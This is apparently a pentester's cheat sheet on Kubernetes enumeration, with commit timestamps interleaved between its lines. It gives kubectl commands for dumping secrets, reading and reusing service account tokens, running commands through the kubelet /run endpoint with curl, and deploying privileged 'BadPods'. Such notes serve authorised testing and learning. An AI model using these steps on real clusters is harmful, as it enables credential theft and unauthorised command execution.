2022-11-13 01:16:26 +01:00
## Kubernetes Enumeration
2023-08-10 23:31:12 +02:00
Levels of abstraction in a Kubernetes setup are high and challenging to maintain even if you get paid to work on the cluster.
Challenging part of enumerating a unknown Kubernetes cluster is the potential amount of possible different kinds and types of configurations.
Ideally, Kubernetes enumeration results in a (high privilege) token or ideally in credentials as secrets in the cluster.
2022-11-13 01:16:26 +01:00
## Kubectl
2023-08-10 23:31:12 +02:00
You should check for all kinds and types of configuration items in the namespaces you got permissions for.
Starting with a check of what you are permitted to list
```sh
kubectl auth can-i --list
```
Follow up with a listing and description of all pods, `-A` to list all namespaces.
2022-11-13 01:16:26 +01:00
```sh
kubectl get pods -A
```
2023-08-10 23:31:12 +02:00
Check if you can output mounted secret
2022-11-13 01:16:26 +01:00
```sh
2023-08-10 23:31:12 +02:00
kubectl get services
2022-11-13 01:16:26 +01:00
kubectl get secrets
kubectl get nodes
kubectl get deployments
kubectl get ingress
kubectl get jobs
```
* Intel about a secret, and output
```sh
2023-08-10 23:31:12 +02:00
kubectl describe secrets < secret > -o yaml
2022-11-13 01:16:26 +01:00
kubectl get secret < secret > -o json
kubectl describe secrets < secret > -o 'json'
```
### Abuse Token
2023-08-10 23:31:12 +02:00
2022-11-13 01:16:26 +01:00
* Inside a pod the service token(jwt) can be found under `/var/run/secrets/kubernetes.io/serviceaccount/token`
2023-08-10 23:31:12 +02:00
By any chance of an LFI extract the token and take a look on what you are permitted to list and describe using it.
2022-11-13 01:16:26 +01:00
```sh
kubectl auth can-i --list --token=$TOKEN
kubectl get pods --token=$TOKEN
kubectl exec -it < pod name > --token=$TOKEN -- /bin/sh
```
2023-08-10 23:31:12 +02:00
* __Do not copy the token around, it will end in a carfuffle of some truncated string most of the time. Just store it in the following way and spare the pain for another day__
2022-11-13 01:16:26 +01:00
```
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
```
#### Elevate Permissions with found token
2023-08-10 23:31:12 +02:00
If a token has been found but its permissions on other containers can not be used through kubectl directly, try to use curl as well via the following line
2022-11-13 01:16:26 +01:00
```sh
curl -k -H "Authorization: Bearer $TOKEN" --data "cmd=id" https://$K8_IP:10250/run/$NAMESPACE/$POD/$CONTAINER
2023-08-10 23:31:12 +02:00
```
To create the URL you wnat to query, find namespace and pods
2022-11-13 01:16:26 +01:00
```sh
kubectl get pods -A
```
2023-08-10 23:31:12 +02:00
Next, take a look at the name of container inside the pod description under `ContainerStatuses/name`
2022-11-13 01:16:26 +01:00
```sh
kubectl get pod $POD -n $NAMESPACE -o yaml
```
2023-08-10 23:31:12 +02:00
Interesting find in any high priv container are
2022-11-13 01:16:26 +01:00
```sh
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/ca.crt
```
2023-08-10 23:31:12 +02:00
Enumerate again with the new found token
2022-11-13 01:16:26 +01:00
```sh
kubectl auth can-i --list
```
2023-08-10 23:31:12 +02:00
### Create Malicious Pods
2022-11-13 01:16:26 +01:00
* Use [BishopFox's BadPods ](https://github.com/BishopFox/badPods.git )
* If there is no internet connection add `imagePullPolicy: IfNotPresent` to the YAML file
```sh
kubectl apply -f pod.yml --token=$TOKEN
```
* Start Pod
```sh
kubectl exec -it everything-allowed-exec-pod --token=$TOKEN -- /bin/bash
```
2023-08-10 23:31:12 +02:00
#### Start Pods
2022-11-13 01:16:26 +01:00
```sh
kubectl exec -it < podname > -n < namespace > -- /bin/bash
```
2023-08-10 23:31:12 +02:00
## Tools
### Microk8s
2022-11-13 01:16:26 +01:00
* [microk8s repo ](https://github.com/ubuntu/microk8s )
2023-08-10 23:31:12 +02:00
### Enumeration of Microk8s
2022-11-13 01:16:26 +01:00
```sh
microk8s kubectl get nodes
microk8s kubectl get services
microk8s kubectl get pods
microk8s kubectl get deployments -o wide
microk8s kubectl cluster-info
```